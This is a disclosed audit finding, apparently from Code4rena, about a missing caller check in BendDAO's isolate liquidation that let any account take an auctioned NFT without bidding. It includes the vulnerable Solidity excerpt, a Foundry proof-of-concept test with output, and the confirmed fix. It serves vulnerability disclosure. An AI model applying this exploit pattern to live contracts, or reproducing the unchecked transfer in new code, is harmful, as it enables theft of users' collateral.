Anyone can get the NFT collateral token after an Auction without bidding due to missing check on msg.sender
The isolate liquidation function in the BendDAO contract lacked a check on the caller, so anyone could call it after an auction ended and receive the collateral NFT without having bid. This allowed an attacker to steal the NFT that should have gone to the winning bidder.
oakcobalt Follow with bin2chen and 0x73696d616f
Originally disclosed on Code4rena
Submitted by oakcobalt, also found by bin2chen and 0x73696d616f
In IsolateLogic.sol, liquidation of an isolate loan can only be placed after the auction period is passed with bidding. The problem is that there is a missing check on msg.sender in isolate liquidation flow, which allows anyone to take the collateral NFT token.
//src/libraries/logic/IsolateLogic.sol
function executeIsolateLiquidate(InputTypes.ExecuteIsolateLiquidateParams memory params) internal {
...
if (params.supplyAsCollateral) {
//@audit due to no check on msg.sender, anyone calls isolateLiquidate will get the collateral nft
|> VaultLogic.erc721TransferIsolateSupplyOnLiquidate(nftAssetData, params.msgSender, params.nftTokenIds);
} else {
VaultLogic.erc721DecreaseIsolateSupplyOnLiquidate(nftAssetData, params.nftTokenIds);
|> VaultLogic.erc721TransferOutLiquidity(nftAssetData, params.msgSender, params.nftTokenIds);
}
...
Flows: IsolateLiquidation::isolateLiquidate -> IsolateLogic.executeIsolateLiquidate(). Note that msg.sender is passed from isolateLiquidate() to the end of executeIsolateLiquidate() without any checks.
Proof of Concept
See added unit test test_Anyone_Can_LiquidateWETH(). Only tsLiquidator1 auctioned, but tsBorrower2 can liquidate and receive collaterals:
//test/integration/TestIntIsolateLiquidate.t.sol
...
function test_Anyone_Can_LiquidateWETH() public {
TestCaseLocalVars memory testVars;
// deposit
prepareWETH(tsDepositor1);
uint256[] memory tokenIds = prepareIsolateBAYC(tsBorrower1);
// borrow
prepareBorrow(tsBorrower1, address(tsBAYC), tokenIds, address(tsWETH));
// make some interest
advanceTimes(365 days);
// drop down nft price
actionSetNftPrice(address(tsBAYC), 5000);
// auction
prepareAuction(tsLiquidator1, address(tsBAYC), tokenIds, address(tsWETH));
// end the auction
advanceTimes(25 hours);
uint256[] memory liquidateAmounts = new uint256[](tokenIds.length);
testVars.loanDataBefore = getIsolateLoanData(tsCommonPoolId, address(tsBAYC), tokenIds);
for (uint256 i = 0; i < tokenIds.length; i++) {
testVars.totalBidAmount += testVars.loanDataBefore[i].bidAmount;
testVars.totalBidFine += testVars.loanDataBefore[i].bidFine;
testVars.totalRedeemAmount += testVars.loanDataBefore[i].redeemAmount;
testVars.totalBorrowAmount += testVars.loanDataBefore[i].borrowAmount;
}
testVars.poolBalanceBefore = tsWETH.balanceOf(address(tsPoolManager));
testVars.walletBalanceBefore1 = tsWETH.balanceOf(address(tsLiquidator1));
testVars.walletBalanceBefore2 = tsWETH.balanceOf(address(tsBorrower1));
testVars.erc721BalanceBefore1 = tsBAYC.balanceOf(address(tsLiquidator1));
// liquidate
// note: check tsBorrower2 can liquidate and receive nfts without bidding.
tsBorrower2.isolateLiquidate(tsCommonPoolId, address(tsBAYC), tokenIds, address(tsWETH), liquidateAmounts, false);
testVars.erc721BalanceAfter1 = tsBAYC.balanceOf(address(tsBorrower2));
assertEq(
testVars.erc721BalanceAfter1,
(testVars.erc721BalanceBefore1 + tokenIds.length),
'tsLiquidator1 bayc balance'
);
}
...
Run test forge test --match-contract TestIntIsolateLiquidate --match-test test_Anyone_Can_LiquidateWETH:
Ran 1 test for test/integration/TestIntIsolateLiquidate.t.sol:TestIntIsolateLiquidate
[PASS] test_Anyone_Can_LiquidateWETH() (gas: 1671088)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 21.76ms (3.41ms CPU time)
Recommended Mitigation Steps
Add check msg.Sender is the lastBidder.
Assessed type
Access Control
thorseldon (BendDAO) confirmed and commented:
Fixed here.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The isolate liquidation function transferred the collateral NFT to the caller without verifying that the caller was the auction winner (last bidder).
Impact
An attacker could obtain the collateral NFT without bidding, depriving the legitimate auction winner of the asset.
What the attacker needed
An auction has ended; attacker has a wallet
The fix
The fix was to add a check that the caller is the last bidder.
How it was found
- Set up a loan with an NFT as collateral and make the NFT price drop.
- Have a legitimate bidder start an auction for the NFT.
- Wait for the auction period to end.
- Call the isolate liquidation function from a different account that never bid.
- Observe that the non-bidding account receives the NFT.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a lending system, if a borrower does not repay, their collateral (here an NFT) is auctioned. The winner should get the NFT. But the code that hands over the NFT did not check who was calling it, so any user could call the function and receive the NFT for themselves.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.